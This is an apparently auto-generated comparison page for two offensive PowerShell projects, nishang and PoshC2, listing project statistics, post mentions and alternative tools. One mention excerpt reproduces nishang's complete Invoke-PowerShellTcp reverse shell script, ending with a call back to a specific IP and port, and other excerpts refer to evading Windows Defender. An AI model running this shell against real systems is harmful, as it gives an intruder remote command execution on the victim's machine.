nishang VS PoshC2

Compare nishang vs PoshC2 and see what are their differences.

nishang

Nishang - Offensive PowerShell for red team, penetration testing and offensive security. (by samratashok)

PoshC2

A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement. (by nettitude)
Our great sponsors
  • WorkOS - The modern identity platform for B2B SaaS
  • InfluxDB - Power Real-Time Data Analytics at Scale
  • SaaSHub - Software Alternatives and Reviews
nishang PoshC2
15 1
8,324 1,692
- 1.7%
0.0 0.0
8 months ago 8 days ago
PowerShell PowerShell
GNU General Public License v3.0 or later BSD 3-clause "New" or "Revised" License
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.

nishang

Posts with mentions or reviews of nishang. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2023-08-27.
  • PowerShell evasion
    1 project | /r/AskNetsec | 24 Sep 2023
  • Bypassing Windows Defender (10 Ways)
    15 projects | dev.to | 27 Aug 2023
    function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
  • Powershell scripts suggestions!
    3 projects | /r/cybersecurity | 1 Jul 2023
  • TryHackMe Flatline Walkthrough
    1 project | dev.to | 6 Nov 2022
    Save this file https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
  • Discrepancies in detecting obfuscated payloads by Windows Defender?
    2 projects | /r/hacking | 28 Sep 2022
    After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!
  • Using Nishang with Pastebin | Help
    1 project | /r/oscp | 3 Sep 2022
  • Ideas on how to in-line inspect base64 for malicious code?
    1 project | /r/sysadmin | 30 Aug 2022
  • Nishang - PowerShell ofensivo para #redteam, las pruebas de penetración y la seguridad ofensiva 💯
    1 project | /r/u_esgeeks | 17 Jan 2022
  • Writeup: HackTheBox Bounty - Without Metasploit (OSCP Prep)
    2 projects | dev.to | 14 Sep 2021
    I am going to copy/paste the following nishang Reverse Shell in the newly created file link.
  • Why is this reverse shell not working?
    1 project | /r/PowerShell | 3 Sep 2021

PoshC2

Posts with mentions or reviews of PoshC2. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2021-09-03.

What are some alternatives?

When comparing nishang and PoshC2 you can also consider the following projects:

powershell-universal - PowerShell Universal is the ultimate platform for building web-based IT tools.

Empire - Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.

AdminToolbox - Repository for the AdminToolbox PowerShell Modules

Empire - Empire is a PowerShell and Python post-exploitation agent.

ConPtyShell - ConPtyShell - Fully Interactive Reverse Shell for Windows

Invoke-MetasploitPayload - Powershell script to download and kick off Metasploit payloads. Relies on the exploit/multi/scripts/web_delivery metasploit module.

psPAS - PowerShell module for CyberArk Privileged Access Security REST API

empire - A PaaS built on top of Amazon EC2 Container Service (ECS)

universal-dashboard - Build beautiful websites with PowerShell.

ChangelogManagement - A PowerShell module for reading and manipulating changelog files in Keep a Changelog 1.0.0 format.

PowerShell-Botnet - A POC powershell botnet